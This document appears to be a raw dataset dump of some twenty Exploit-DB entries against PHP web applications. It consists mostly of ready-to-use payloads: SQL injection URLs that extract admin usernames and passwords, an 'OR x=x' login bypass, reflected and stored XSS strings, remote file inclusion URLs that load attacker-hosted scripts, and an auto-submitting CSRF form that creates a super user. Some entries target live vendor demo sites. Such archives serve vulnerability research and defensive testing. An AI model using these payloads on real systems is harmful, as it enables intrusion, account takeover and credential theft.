deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8728
Description: PHP Article Publisher - Remote Change Admin Password
Type: webapps
Platform: php
Date: 2009-05-18
Author: ahmadbady

Exploit:
                =-=-remote change password and add admin xpl-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script:php_article_publisher
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.graugon.com/publisher/download.html
--------------------------------------------------
--------------------------

change pass and add admin:


<form method='post' action='functions.php?id=2'>
<font class='font1'><b>coded by ahmadbady:</b></font>
<br><br>
<table width='100%' align='center' valign='top' cellpadding='0' cellspacing='2' border='0'>
<tr>
<td cellpadding='0' cellspacing='0'>
<font class='font1'>Directory Title</font>
</td>
<td cellpadding='0' cellspacing='0'>
<input type='text' size='22' name='title' value='PHP Article Publisher' class='edit'>
</td>
</tr>
<tr>
<td cellpadding='0' cellspacing='0'></td>
<td cellpadding='0' cellspacing='0'><br></td>
</tr>
<tr>
<td cellpadding='0' cellspacing='0'><font class='font1'><b>Login Details</b></font></td>
<td cellpadding='0' cellspacing='0'><br></td>
</tr>
<tr>
<td cellpadding='0' cellspacing='0'></td>
<td cellpadding='0' cellspacing='0'><br></td>
</tr>
<tr>
<td cellpadding='0' cellspacing='0'>
<font class='font1'>Email</font>
</td>
<td cellpadding='0' cellspacing='0'>
<input type='text' size='22' name='email' value='' class='edit'>
</td>
</tr>
<tr>
<td cellpadding='0' cellspacing='0'></td>
<td cellpadding='0' cellspacing='0'><br></td>
</tr>
<tr>
<td cellpadding='0' cellspacing='0'>
<font class='font1'>Password</font>
</td>
<td cellpadding='0' cellspacing='0'>
<input type='text' size='22' name='password' value='111' class='edit'>
</td>
</tr>
<tr>
<td cellpadding='0' cellspacing='0'></td>
<td cellpadding='0' cellspacing='0'><br></td>
</tr>
<tr>
<td cellpadding='0' cellspacing='0'></td>
<td cellpadding='0' cellspacing='0'>
<input type='submit' value='Save Settings' class='submit'>
</td>
</tr>
</table>
</form>								

# milw0rm.com [2009-05-18]
Exploit-DB #42775
Description: PHP Auction Ecommerce Script 1.6 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-22
Author: 8bitsec

Exploit:
# Exploit Title: PHP Auction Ecommerce Script v1.6 - SQL Injection
# Date: 2017-09-22
# Exploit Author: 8bitsec
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.phpscriptsmall.com/product/php-auction-ecommerce-script/
# Version: 1.6
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-09-22

Product & Service Introduction:
===============================
Start your own Auction website with our Readymade PHP Auction script. 

Technical Details & Description:
================================

SQL injection on [detail] URI parameter.

Proof of Concept (PoC):
=======================

SQLi:

http://localhost/[path]/detail/xx AND 1053=1053/xxxxx

Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: AND 1053=1053/xxxx

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: AND SLEEP(5)/xxxx

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #16018
Description: PHP auctions - 'viewfaqs.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-01-19
Author: h4ck3r

Exploit:
==
[#]Script: PHP auctions
[#]Version: n/a
[#]Link: http://phpauctions.info
==
[#]Author: BorN To K!LL - h4ck3r
[#]Contact: SQL@hotmail.co.uk
==
[#]3xploit:
/viewfaqs.php?cat=[Blind-Injection]

[#]3xample:
/viewfaqs.php?cat=2 and substring(version(),1,1)=4             // false ,,
/viewfaqs.php?cat=2 and substring(version(),1,1)=5            // true ,,

==
[#]Greetings:
darkc0de team, AsbMay's group, w4ck1ng team , and "Kuwaitis"
==
Exploit-DB #11547
Description: PHP Auktion Pro SQL - 'news.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-23
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Php Auktion Pro SQL Injection news.php
+Autor : Easy Laster
+Date   : 22.02.2010
+Script  : Php Auktion Pro
+Download : -----
+Price : 34,90€
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian.
---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/auktionblau/news.php?id=
+Exploitable   : www.site.com/auktionblau/news.php?id=null+union+select+1,2,convert
(password using utf8),4,5+from+users# 

or

www.site.com/auktionblau/news.php?id=null+union+select+1,2,concat
(name,0x3a,password),4,5+from+users#


-----------------------------------------------------------------------------------------
Exploit-DB #6695
Description: PHP Auto Dealer 2.7 - 'v_cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-07
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability
##
## PHP Auto Dealer 2.7 ( view_cat.php v_cat )
##
## http://selectdevelopment.com/
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ReaL-HaCk.NeT
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.TraGeT./view_cat.php?v_cat=-1/**/UNION/**/SELECT/**/CONCAT_WS(0x3a,username,password)MrSQL/**/FROM/**/users/**/limit+1,1--
##
########################
########################

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
:: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2008-10-07]
Exploit-DB #7003
Description: PHP Auto Listings - 'pg' SQL Injection
Type: webapps
Platform: php
Date: 2008-11-05
Author: G4N0K

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                              IN THE NAME OF ALLAH
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
PHP Auto Listings (moreinfo.php pg) SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[~] Script:         	PHP Auto Listings Script
[~] Language :         	PHP
[~] Website[0]:     	http://preproject.com/projectDetail.asp?projectID=226
[~] Website[1]:			http://www.hotscripts.com/Detailed/71197.html
[~] Type :             	Commercial
[~] Report-Date :     	06/11/2008
[~] Founder :			G4N0K <mail.ganok[at]gmail.com>

===============================================================================

===[ SQL ]===
[!]	http://localhost/[path]/moreinfo.php?pg=4&itemno=122-20'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,+concat(0x3a,user,0x3a,pass)+FROM+admin--+AND+'GNK'='GNK&catid=11


===[ LIVE ]===
[+] http://www.preproject.com/abc/carlister/moreinfo.php?pg=4&itemno=122-20'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,+concat(0x3a,user,0x3a,pass)+FROM+admin--+AND+'GNK'='GNK&catid=11





===[ Greetz ]===
[~] ALLAH
[~] Tornado2800 <Tornado2800[at]gmail.com>
[~] Hussain-X <darkangel_g85[at]yahoo.com>

//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
//ALLAH,forgimme...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
exit(); //EoX
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-11-05]
Exploit-DB #7042
Description: PHP Auto Listings Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-07
Author: r45c4l

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#- Nik-P47tr1ck- FeDeReR -MAGE -JeTFyrE- DON-Outlawz           #
#        and all darkc0de and DarkTrix members               --# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com & darktrix.info
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title: Pre Car Lister (Auth Bypass) SQl Injection Vulnerability
# 
# 
###########################################################
#
# Script Vendor: http://www.preproject.com/projectDetail.asp?projectID=226
#
###########################################################
 
     Go To Admin Panel :

       Login With this information :

	Admin : anything' OR 'x'='x

	pass  : anything' OR 'x'='x


    Live Demo : 

	http://www.preproject.com/abc/carlister/adminlogin.php


###########################################################
#
#  Bug discovered : 06 Nov 2008
###########################################################

# milw0rm.com [2008-11-07]
Exploit-DB #6696
Description: PHP Autos 2.9.1 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-07
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability
##
## PHP Auto's V2.9.1 ( searchresults.php catid )
##
## http://www.phpautos.com/
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &  WwW.ReaL-HaCk.NeT
##
## Email  : SQL@Hotmail.it
##
## SYRIAN Arab HACkErS
########################
########################
##
## -[[: Exploite :]]-
##
## www.TraGeT./searchresults.php?catid=-1'/**/UNION/**/SELECT/**/0,0,CONCAT_WS(0x3a,username,password,email)MrSQL,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+tblusers/*
##
########################
########################

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
:: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2008-10-07]
Exploit-DB #41532
Description: PHP B2B Script 3.05 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: PHP B2B Script v3.05 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/php-b2b-script/
# Demo: http://readymadeb2bscript.com/product/basic/
# Version: 3.05
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/companyinfo.php?id=[SQL]
# http://localhost/[PATH]/latest_selling_leads_details.php?bid=[SQL]
# http://localhost/[PATH]/company_profile.php?id=[SQL]
# For example;
# -92'+/*!50000union*/+select+1,2,3,4,5,6,7,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),9,10,11,12,13,14,15,16,17,18,19,0x496873616e2053656e63616e203c62723e7777772e696873616e2e6e6574,21,22,23,24--+-
# admin :username
# admin :password
# admin_login :id
# admin_login :username
# admin_login :password
# -92'+/*!50000union*/+select+1,2,3,4,5,6,7,/*!50000ConCat(*/username,/*!50000char*/(58),password),9,10,11,12,13,14,15,16,17,18,19,0x496873616e2053656e63616e203c62723e7777772e696873616e2e6e6574,21,22,23,24+from+admin--+-
# Etc...
# # # # #
Exploit-DB #33987
Description: PHP Banner Exchange 1.2 - 'signupconfirm.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-03
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/40165/info

PHP Banner Exchange is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PHP Banner Exchange 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/signupconfirm.php?name=indoushkax&login=hacked&pass=exploit&email=indoushka%40hotmail%2E.com&url=http%3A%2F%2F&bannerurl=<script>alert[PII_REDACTED]60)</script>&submit=%C7%D6%DB%D8%20%E3%D1%C9%20%E6%C7%CD%CF%C9%20%E1%E1%C7%D4%CA%D1%C7%DF
Exploit-DB #34214
Description: PHP Bible Search - 'bible.php?chapter' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-29
Author: L0rd CrusAd3r

Exploit:
source: https://www.securityfocus.com/bid/41197/info
 
PHP Bible Search is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/bible.php?string=&book=2&chapter=[XSS]
Exploit-DB #34213
Description: PHP Bible Search - 'bible.php?chapter' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-29
Author: L0rd CrusAd3r

Exploit:
source: https://www.securityfocus.com/bid/41197/info

PHP Bible Search is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/bible.php?string=&book=2&chapter=[SQLI]
Exploit-DB #1779
Description: PHP Blue Dragon CMS 2.9 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-12
Author: Kacper

Exploit:
################DEVIL TEAM THE BEST POLISH TEAM#################
#Php Blue Dragon Platinum - Remote File Include
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#dork: powered by Php Blue Dragon Platinum
################################################################
[code]
// Szukanie u.ytkownika
include($vsDragonRootPath."public_includes/pub_language/".$UserSession
-> SessionData["SesUserLanguage"]."/mod_privmsg.".$phpExt);
[/code]

Fix:
[code]
// Szukanie u.ytkownika
$vsDragonRootPath = "./";
include($vsDragonRootPath."public_includes/pub_language/".$UserSession
-> SessionData["SesUserLanguage"]."/mod_privmsg.".$phpExt);
[/code]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.site.com/[dragon_path]/public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=[evil_scripts]

# milw0rm.com [2006-05-12]
Exploit-DB #1913
Description: PHP Blue Dragon CMS 2.9.1 - 'template.php' File Inclusion
Type: webapps
Platform: php
Date: 2006-06-14
Author: Federico Fazzi

Exploit:
-----------------------------------------------------
Advisory id: FSA:015

Author:    Federico Fazzi
Date:      14/06/2006, 18:20
Sinthesis: PhpBlueDragon CMS 2.9.1, File inclusion vulnerability
Type:      high
Product:   http://phpbluedragon.net/
Patch:     unavailable
-----------------------------------------------------


1) Description:

Error occured in template.php, line 23:

---
require($vsDragonRootPath."public_includes/pub_kernel/pbd_template_custom.php");
---

2) Proof of concept:

http://example/[pbd_path]/software_upload/public_includes/pub_templates/vphptree/template.php?vsDragonRootPath=[cmd_url]/
(note this is with final slash (/))

3) Solution:

sanitized $vsDragonRootPath

# milw0rm.com [2006-06-14]
Exploit-DB #28098
Description: PHP Blue Dragon CMS 2.9.1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-06-22
Author: Shm

Exploit:
source: https://www.securityfocus.com/bid/18609/info

PHP Blue Dragon CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.

An attacker may leverage these issues to have an arbitrary remote file containing malicious script code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.

http://www.example.com/root_includes/root_modules/forum_admin.php?action=forum_move&template_redirect=yes&vsDragonRootPath=http://192.168.0.xx:9999/
Exploit-DB #4276
Description: PHP blue dragon CMS 3.0.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-10
Author: Kacper

Exploit:
// Exploit Name: Php Blue Dragon CMS 3.0.0 Remote File Inclusion Vulnerability
//Script Homepage: http://phpbluedragon.pl/

// Autor: Kacper [kacper1964@yahoo.pl]
// Autor Homepage: devilteam.eu  |  kacper.bblog.pl

//Pozdrawiam wszystkich ludzi z DEVIL TEAM, Zapraszam na irc!
//Irc: irc.milw0rm.com:6667 #devilteam

//Elo

Vulnerability:


http://127.0.0.1/~phpbluedragon3.0.0/public_includes/pub_blocks/activecontent.php?vsDragonRootPath=[evil_code?]

# milw0rm.com [2007-08-10]
Exploit-DB #36468
Description: PHP Booking Calendar 10e - 'page_info_message' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-12-19
Author: G13

Exploit:
source: https://www.securityfocus.com/bid/51119/info

PHP Booking Calendar is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PHP Booking Calendar 10e is vulnerable; other versions may also be affected. 

http://www.example.com/cal/details_view.php?event_id=1&date=2011-12-01&view=month&loc=loc1&page_info_message=[XSS]
Exploit-DB #40559
Description: PHP Business Directory - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-10-17
Author: larrycompress

Exploit:
# Exploit Title: PHP Business Directory - Multiple Vulnerabilities
# Date: 2016-10-16
# Exploit Author: larrycompress
# Contact: larrycompress@gmail.com
# Type: webapps
# Platform: PHP
# Vendor Homepage: http://www.pagereactions.com/product.php?pku=4
# Software Link: http://www.pagereactions.com/downloads/phpbusinessdirectory.zip
--------------------------------------------------------------------------------

POC as follows :

# 0x00 Reflected XSS

---

1.In public search :

http://192.168.1.112/phpbusinessdirectory/index.php?key=<svg/onload=alert(1)>&location=<svg/onload=alert(2)>

2.In administration web interface (need normal user login) :

http://192.168.1.112/phpbusinessdirectory/administration.php?key=<svg/onload=alert(1)>&location=<svg/onload=alert(2)>

# 0x01 Stored XSS

---

1.In administration web directory interface (need normal user login) :

http://192.168.1.112/phpbusinessdirectory/administration.php
?pageaction=newsavebusiness
&subaction=submit
&businessname=<script>alert(1)</script>
&slogan=<script>alert(2)</script>
&businesslicence=<script>alert(3)</script>
&address=<script>alert(4)</script>
&city=<script>alert(5)</script>
&suburb=<script>alert(6)</script>
&businessstate=<script>alert(7)</script>
&country=<script>alert(8)</script>
&zippostcode=<script>alert(9)/*
&telephone1=*/</script><script>alert(10)</script>
&telephone2=<script>alert(11)</script>
&mobilecell=<script>alert(12)</script>
&fax=<script>alert(13)</script>
&email=<script>alert(14)</script>
&website=<script>alert(15)</script>
&socialmedia1=<script>alert(16)</script>
&socialmedia2=<script>alert(17)</script>
&socialmedia3=<script>alert(18)</script>
&productservice=<script>alert(19)</script>
&manager=<script>alert(20)</script>
&paymentsaccepted=<script>alert(21)</script>

2.In administration web categories interface (need  administrator user login) :

http://192.168.1.112/phpbusinessdirectory/administration.php?pageaction=savecategory&subaction=submit&categoryname=</select><svg/onload=alert(1)><select>

# 0x02 CSRF (add Super user)

---

In http://192.168.1.103/csrf.html :

<!DOCTYPE html>
<html>
  <body>
    <form action="http://192.168.1.112/phpbusinessdirectory/administration.php" method="POST">
      <input name="pageaction" value="saveuser" type="hidden" />
      <input name="subaction" value="submit" type="hidden" />
      <input name="username" value="larry_csrf" type="hidden" />
      <input name="password" value="larry_csrf" type="hidden" />
      <input name="userfullname" value="larry_csrf" type="hidden" />
      <input name="accesslevel" value="Super" type="hidden" />
      <input name="userstatus" value="active" type="hidden" />
      <input name="mysubmit" value="submit" type="submit" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

* Thanks to Besim *